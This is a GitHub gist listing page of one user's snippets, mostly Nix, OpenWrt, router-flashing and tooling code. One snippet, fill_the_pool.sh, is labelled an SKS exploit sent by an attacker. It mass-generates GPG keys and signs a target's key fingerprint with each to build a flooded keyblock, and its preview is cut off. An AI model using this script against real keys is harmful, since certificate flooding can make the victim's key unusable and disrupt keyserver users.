Skip to content

Instantly share code, notes, and snippets.

Yegor Timoshenko yegortimoshenko

Block or report user

Report or block yegortimoshenko

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View default.nix
with import <nixpkgs> {};
stdenv.mkDerivation rec {
name = "cloudi-${version}";
version = "1.7.5";
src = fetchzip {
url = "https://osdn.net/dl/cloudi/${name}.tar.gz";
sha256 = "0aj0rwzfyad99gnm27km705ba46nsdy1ww87qgk3cfpi0017wx86";
};
@yegortimoshenko
yegortimoshenko / fill_the_pool.sh
Last active Jul 8, 2019
SKS exploit that was sent to me by attacker behind https://news.ycombinator.com/item?id=20312826
View fill_the_pool.sh
for _ in {1..500}; do
for _ in {1..100}; do
gpg --gen-key --batch keygen
gpg --quick-sign-key -u Marc EC18257DB21746FC711054BEB19C61D61333360C
rm ~/.gnupg/private-keys-v1.d/*.key
done
rm ~/.gnupg/openpgp-revocs.d/*.rev
gpg -a --export > ~/Desktop/keyblock.asc
View config.nix
{ pkgs, ... }:
{
service.hydra.package = with pkgs; hydra.overrideAttrs (super: {
patches = [ (fetchpatch {
url = "https://gist.githubusercontent.com/yegortimoshenko/6d78a4fbc7b5b21234d298b3ce53ea68/raw/4193a6e9b280582a1b1265095734ece333d6719b/hydra-no-restrict-eval.diff";
sha256 = "16gwlsr6azwxj9q0b38kkb52xwc2h7ncahymdkdcrm8046naxj6k";
}) ];
});
}
View flash-mikrotik
#!/bin/sh
# First, open Advanced Networking app and set static 192.168.1.10/24 IP address
# to the Ethernet interface you're going to use below. To activate network boot,
# hold router's reset button for 5 seconds.
if [ -z "$2" ]; then
echo "Usage: $0 <if> <fw>"
exit 1
fi
View nix-base32.cpp
#include <iostream>
#include <string>
using namespace std;
unsigned int hashLength32(string hash) {
return (hash.length() * 8 - 1) / 5 + 1;
}
// omitted: E O U T
View rb951g-2hnd.diff
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
index 33c4f53133..c4cf5f12a8 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb95x.c
@@ -266,6 +266,7 @@ static void __init rb951g_setup(void)
return;
ath79_setup_ar934x_eth_cfg(AR934X_ETH_CFG_RGMII_GMAC0 |
+ AR934X_ETH_CFG_RXD_DELAY |
AR934X_ETH_CFG_SW_ONLY_MODE);
@yegortimoshenko
yegortimoshenko / config.seed
Last active Apr 11, 2019
OpenWrt .config for Zyxel Keenetic (w/ LuCI)
View config.seed
CONFIG_TARGET_ramips=y
CONFIG_TARGET_ramips_rt305x=y
CONFIG_TARGET_ramips_rt305x_DEVICE_kn=y
CONFIG_CLEAN_IPKG=y
CONFIG_LUCI_SRCDIET=y
# CONFIG_PACKAGE_kmod-ppp is not set
CONFIG_PACKAGE_libiwinfo-lua=y
CONFIG_PACKAGE_liblua=y
CONFIG_PACKAGE_liblucihttp=y
CONFIG_PACKAGE_liblucihttp-lua=y
View divinity-original-sin-2.sh
#!/bin/sh
STEAM_PATH=$HOME/.steam/debian-installation
cd "$STEAM_PATH/steamapps/common/Divinity Original Sin 2"
rm -r bin
ln -s DefEd/bin .
rm bin/SupportTool.exe
@yegortimoshenko
yegortimoshenko / cljack-in
Last active Feb 1, 2019
Project-independent nREPL setup for Clojure CLI
View cljack-in
#!/bin/sh
exec clj -Sdeps '{:deps {cider/cider-nrepl {:mvn/version "0.20.0"}}}' \
-e '(require `cider-nrepl.main)
(cider-nrepl.main/init ["cider.nrepl/cider-middleware"])'
View default.nix
with import <nixpkgs> {};
let
inherit (callPackage (fetchGit {
url = https://gitlab.com/transumption/mix-to-nix;
rev = "b70cb8f7fca80d0c5f7539dbfec497535e07d75c";
}) {}) mixToNix;
# Fake config, required for compilation
prodSecret = writeText "prod.secret.exs" ''
You can’t perform that action at this time.